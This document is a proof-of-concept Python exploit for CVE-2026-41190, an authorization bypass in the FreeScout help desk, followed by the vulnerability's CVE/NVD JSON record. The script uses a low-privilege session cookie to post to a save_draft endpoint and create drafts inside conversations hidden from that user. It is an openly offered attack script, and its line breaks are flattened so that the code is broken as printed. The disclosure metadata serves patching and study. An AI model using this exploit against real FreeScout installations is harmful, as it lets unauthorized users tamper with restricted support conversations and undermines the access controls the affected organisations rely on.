CVE-2026-41190

import requests def exploit_freescout(target_url, session_cookie, conversation_id): """ PoC for CVE-2026-41190: Create a draft in a hidden conversation. """ # The endpoint responsible for saving drafts ajax_url = f"{target_url}/api/v1/save_draft" headers = { "Cookie": f"freescout_session={session_cookie}", "X-Requested-With": "XMLHttpRequest", "Content-Type": "application/x-www-form-urlencoded" } # Payload data to create a draft payload = { "conversation_id": conversation_id, "body": "This is an unauthorized draft created via PoC.", "cc": "", "bcc": "", "type": "email" } try: response = requests.post(ajax_url, headers=headers, data=payload) if response.status_code == 200: print("[+] Successfully created draft in hidden conversation.") print(f"[+] Response: {response.text}") else: print(f"[-] Failed. Status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}") # Example usage # exploit_freescout("http://target-freescout.com", "attacker_session_id", "123")

{"cve": {"id": "CVE-2026-41190", "sourceIdentifier": "[email protected]", "published": "2026-04-21T17:16:57.510", "lastModified": "2026-04-22T21:10:14.290", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "FreeScout is a free self-hosted help desk and shared mailbox. Prior to version 1.8.215, when `APP_SHOW_ONLY_ASSIGNED_CONVERSATIONS` is enabled, direct conversation view correctly blocks users who are neither the assignee nor the creator. The `save_draft` AJAX path is weaker. A direct POST can create a draft inside a conversation that is hidden in the UI. Version 1.8.215 fixes the vulnerability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-863"}]}], "references": [{"url": "https://github.com/freescout-help-desk/freescout/commit/414878eb79be7cb01a3ae124df6efcd23729275f", "source": "[email protected]"}, {"url": "https://github.com/freescout-help-desk/freescout/releases/tag/1.8.215", "source": "[email protected]"}, {"url": "https://github.com/freescout-help-desk/freescout/security/advisories/GHSA-vj2p-2789-3747", "source": "[email protected]"}]}}